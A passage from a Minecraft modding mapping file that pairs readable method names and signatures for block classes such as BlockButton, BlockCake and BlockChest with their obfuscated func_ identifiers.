(Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockButton/randomTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockButton/func_180645_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockButton/onEntityCollidedWithBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockButton/func_180634_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockButton/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockButton/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockButton/func_181088_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockButton/func_181088_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockButton/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockButton/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockButton/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockButton/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockButton/getWeakPower (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I net/minecraft/block/BlockButton/func_180656_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/BlockButton/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockButton/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockButton/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockButton/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockButton/canPlaceBlockOnSide (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockButton/func_176198_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockButton/getStrongPower (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I net/minecraft/block/BlockButton/func_176211_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/BlockButton/isOpaqueCube ()Z net/minecraft/block/BlockButton/func_149662_c ()Z +MD: net/minecraft/block/BlockButton/notifyNeighbors (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)V net/minecraft/block/BlockButton/func_176582_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)V +MD: net/minecraft/block/BlockButton/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockButton/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockButton/isFullCube ()Z net/minecraft/block/BlockButton/func_149686_d ()Z +MD: net/minecraft/block/BlockButton/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockButton/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockButton/updateBlockBounds (Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockButton/func_180681_d (Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockButton/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockButton/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockButton/checkForDrop (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockButton/func_176583_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockButton/checkForArrows (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockButton/func_180680_f (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockButton/canProvidePower ()Z net/minecraft/block/BlockButton/func_149744_f ()Z +MD: net/minecraft/block/BlockButton/setBlockBoundsForItemRender ()V net/minecraft/block/BlockButton/func_149683_g ()V +MD: net/minecraft/block/BlockCactus/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockCactus/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockCactus/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockCactus/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockCactus/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockCactus/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockCactus/onEntityCollidedWithBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockCactus/func_180634_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockCactus/getSelectedBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockCactus/func_180646_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockCactus/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockCactus/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockCactus/isOpaqueCube ()Z net/minecraft/block/BlockCactus/func_149662_c ()Z +MD: net/minecraft/block/BlockCactus/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockCactus/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockCactus/isFullCube ()Z net/minecraft/block/BlockCactus/func_149686_d ()Z +MD: net/minecraft/block/BlockCactus/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockCactus/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockCactus/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockCactus/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockCactus/canBlockStay (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockCactus/func_176586_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockCactus/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockCactus/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockCake/hasComparatorInputOverride ()Z net/minecraft/block/BlockCake/func_149740_M ()Z +MD: net/minecraft/block/BlockCake/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockCake/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockCake/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockCake/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockCake/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockCake/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockCake/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockCake/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockCake/onBlockClicked (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/block/BlockCake/func_180649_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/block/BlockCake/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockCake/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockCake/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockCake/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockCake/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockCake/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockCake/getSelectedBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockCake/func_180646_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockCake/eatCake (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/block/BlockCake/func_180682_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/block/BlockCake/isOpaqueCube ()Z net/minecraft/block/BlockCake/func_149662_c ()Z +MD: net/minecraft/block/BlockCake/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockCake/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockCake/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockCake/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockCake/isFullCube ()Z net/minecraft/block/BlockCake/func_149686_d ()Z +MD: net/minecraft/block/BlockCake/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockCake/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockCake/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockCake/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockCake/canBlockStay (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockCake/func_176588_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockCake/setBlockBoundsForItemRender ()V net/minecraft/block/BlockCake/func_149683_g ()V +MD: net/minecraft/block/BlockCake/getComparatorInputOverride (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockCake/func_180641_l (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockCake/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockCake/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockCarrot/getSeed ()Lnet/minecraft/item/Item; net/minecraft/block/BlockCarrot/func_149866_i ()Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockCarrot/getCrop ()Lnet/minecraft/item/Item; net/minecraft/block/BlockCarrot/func_149865_P ()Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockCauldron/hasComparatorInputOverride ()Z net/minecraft/block/BlockCauldron/func_149740_M ()Z +MD: net/minecraft/block/BlockCauldron/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockCauldron/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockCauldron/setWaterLevel (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;I)V net/minecraft/block/BlockCauldron/func_176590_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;I)V +MD: net/minecraft/block/BlockCauldron/addCollisionBoxesToList (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockCauldron/func_180638_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockCauldron/onEntityCollidedWithBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockCauldron/func_180634_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockCauldron/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockCauldron/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockCauldron/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockCauldron/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockCauldron/isOpaqueCube ()Z net/minecraft/block/BlockCauldron/func_149662_c ()Z +MD: net/minecraft/block/BlockCauldron/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockCauldron/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockCauldron/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockCauldron/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockCauldron/isFullCube ()Z net/minecraft/block/BlockCauldron/func_149686_d ()Z +MD: net/minecraft/block/BlockCauldron/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockCauldron/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockCauldron/setBlockBoundsForItemRender ()V net/minecraft/block/BlockCauldron/func_149683_g ()V +MD: net/minecraft/block/BlockCauldron/fillWithRain (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockCauldron/func_176224_k (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockCauldron/getComparatorInputOverride (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockCauldron/func_180641_l (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockChest/hasComparatorInputOverride ()Z net/minecraft/block/BlockChest/func_149740_M ()Z +MD: net/minecraft/block/BlockChest/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockChest/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockChest/createNewTileEntity (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; net/minecraft/block/BlockChest/func_149915_a (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/block/BlockChest/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockChest/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockChest/onBlockPlacedBy (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V net/minecraft/block/BlockChest/func_180633_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/block/BlockChest/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockChest/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockChest/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockChest/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockChest/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockChest/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockChest/getWeakPower (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I net/minecraft/block/BlockChest/func_180656_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/BlockChest/getRenderType ()I net/minecraft/block/BlockChest/func_149645_b ()I +MD: net/minecraft/block/BlockChest/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockChest/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockChest/getStrongPower (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I net/minecraft/block/BlockChest/func_176211_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/BlockChest/isOpaqueCube ()Z net/minecraft/block/BlockChest/func_149662_c ()Z +MD: net/minecraft/block/BlockChest/onBlockAdded (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockChest/func_176213_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockChest/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockChest/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockChest/isFullCube ()Z net/minecraft/block/BlockChest/func_149686_d ()Z +MD: net/minecraft/block/BlockChest/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockChest/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockChest/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockChest/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockChest/checkForSurroundingChests (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockChest/func_176455_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockChest/getLockableContainer (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/ILockableContainer; net/minecraft/block/BlockChest/func_180676_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/ILockableContainer; +MD: net/minecraft/block/BlockChest/correctFacing (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockChest/func_176458_f (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockChest/canProvidePower ()Z net/minecraft/block/BlockChest/func_149744_f ()Z +MD: net/minecraft/block/BlockChest/getComparatorInputOverride (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockChest/func_180641_l (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockChest/isDoubleChest (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockChest/func_176454_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockChest/isBlocked (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockChest/func_176457_m (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockChest/isBelowSolidBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockChest/func_176456_n (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockChest/isOcelotSittingOnChest (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockChest/func_176453_o (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockClay/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockClay/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockClay/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockClay/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockCocoa/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockCocoa/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockCocoa/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockCocoa/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockCocoa/dropBlockAsItemWithChance (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V net/minecraft/block/BlockCocoa/func_180653_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V +MD: net/minecraft/block/BlockCocoa/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockCocoa/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockCocoa/onBlockPlacedBy (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V net/minecraft/block/BlockCocoa/func_180633_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/block/BlockCocoa/canGrow (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Z)Z net/minecraft/block/BlockCocoa/func_176473_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Z)Z +MD: net/minecraft/block/BlockCocoa/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockCocoa/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockCocoa/canUseBonemeal (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockCocoa/func_180670_a 